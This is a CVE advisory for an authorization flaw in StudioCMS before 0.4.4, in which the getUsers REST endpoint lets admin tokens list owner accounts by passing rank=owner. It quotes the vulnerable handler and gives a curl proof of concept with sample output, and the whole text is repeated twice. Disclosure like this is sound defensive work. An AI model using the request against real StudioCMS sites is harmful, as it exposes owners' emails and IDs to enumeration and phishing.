CVE-2026-32638

StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.4, the REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface. Version 0.4.4 fixes the issue.

StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.4, the REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface. Version 0.4.4 fixes the issue.

Summary

The REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.

Details

Vulnerable Code Path

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1605-1647

.handle(
    'getUsers',
    Effect.fn(
        function* ({ urlParams: { name, rank, username } }) {
            if (!restAPIEnabled) {
                return yield* new RestAPIError({ error: 'Endpoint not found' });
            }
            const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);

            if (user.rank !== 'owner' && user.rank !== 'admin') {
                return yield* new RestAPIError({ error: 'Unauthorized' });
            }

            const allUsers = yield* sdk.GET.users.all();
            let data = allUsers.map(...);

            if (rank !== 'owner') {
                data = data.filter((user) => user.rank !== 'owner');
            }

            if (rank) {
                data = data.filter((user) => user.rank === rank);
            }

            return data;
        },

The rank variable in if (rank !== 'owner') is the request query parameter, not the caller's privilege level. An admin can therefore pass rank=owner, skip the owner-filtering branch, and then have the second if (rank) branch return only owner accounts.

Adjacent Endpoint Shows Intended Security Boundary

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1650-1710

const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);

if (loggedInUserRankIndex <= existingUserRankIndex) {
    return yield* new RestAPIError({
        error: 'Unauthorized to view user with higher rank',
    });
}

getUser correctly blocks an admin from viewing an owner record. getUsers bypasses that boundary for bulk enumeration.

Sensitive Fields Returned

The getUsers response includes:

• id
• email
• name
• username
• rank
• timestamps and profile URL/avatar fields when present

This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.

PoC

HTTP PoC

Use any admin-level REST API token:

curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \
  -H 'Authorization: Bearer <admin-api-token>'

Expected behavior:

• owner records should be excluded for admin callers, consistent with getUser

Actual behavior:

• the response contains owner user objects, including email addresses and user IDs

Local Validation of the Exact Handler Logic

I validated the filtering logic locally with the same conditions used by getUsers and getUser.

Observed output:

{
  "admin_getUsers_rank_owner": [
    {
      "email": "[email protected]",
      "id": "owner-1",
      "name": "Site Owner",
      "rank": "owner",
      "username": "owner1"
    }
  ],
  "admin_getUser_owner": "Unauthorized to view user with higher rank"
}

This demonstrates the authorization mismatch clearly:

• bulk listing with rank=owner exposes owner records
• direct access to a single owner record is denied

Impact

• Owner Account Enumeration: Admin tokens can recover owner user IDs, usernames, display names, and email addresses.
• Authorization Boundary Bypass: The REST collection endpoint bypasses the stricter per-record rank check…

StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.4, the REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface. Version 0.4.4 fixes the issue.

StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.4, the REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface. Version 0.4.4 fixes the issue.

Summary

The REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.

Details

Vulnerable Code Path

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1605-1647

.handle(
    'getUsers',
    Effect.fn(
        function* ({ urlParams: { name, rank, username } }) {
            if (!restAPIEnabled) {
                return yield* new RestAPIError({ error: 'Endpoint not found' });
            }
            const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);

            if (user.rank !== 'owner' && user.rank !== 'admin') {
                return yield* new RestAPIError({ error: 'Unauthorized' });
            }

            const allUsers = yield* sdk.GET.users.all();
            let data = allUsers.map(...);

            if (rank !== 'owner') {
                data = data.filter((user) => user.rank !== 'owner');
            }

            if (rank) {
                data = data.filter((user) => user.rank === rank);
            }

            return data;
        },

The rank variable in if (rank !== 'owner') is the request query parameter, not the caller's privilege level. An admin can therefore pass rank=owner, skip the owner-filtering branch, and then have the second if (rank) branch return only owner accounts.

Adjacent Endpoint Shows Intended Security Boundary

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1650-1710

const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);

if (loggedInUserRankIndex <= existingUserRankIndex) {
    return yield* new RestAPIError({
        error: 'Unauthorized to view user with higher rank',
    });
}

getUser correctly blocks an admin from viewing an owner record. getUsers bypasses that boundary for bulk enumeration.

Sensitive Fields Returned

The getUsers response includes:

• id
• email
• name
• username
• rank
• timestamps and profile URL/avatar fields when present

This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.

PoC

HTTP PoC

Use any admin-level REST API token:

curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \
  -H 'Authorization: Bearer <admin-api-token>'

Expected behavior:

• owner records should be excluded for admin callers, consistent with getUser

Actual behavior:

• the response contains owner user objects, including email addresses and user IDs

Local Validation of the Exact Handler Logic

I validated the filtering logic locally with the same conditions used by getUsers and getUser.

Observed output:

{
  "admin_getUsers_rank_owner": [
    {
      "email": "[email protected]",
      "id": "owner-1",
      "name": "Site Owner",
      "rank": "owner",
      "username": "owner1"
    }
  ],
  "admin_getUser_owner": "Unauthorized to view user with higher rank"
}

This demonstrates the authorization mismatch clearly:

• bulk listing with rank=owner exposes owner records
• direct access to a single owner record is denied

Impact

• Owner Account Enumeration: Admin tokens can recover owner user IDs, usernames, display names, and email addresses.
• Authorization Boundary Bypass: The REST collection endpoint bypasses the stricter per-record rank check…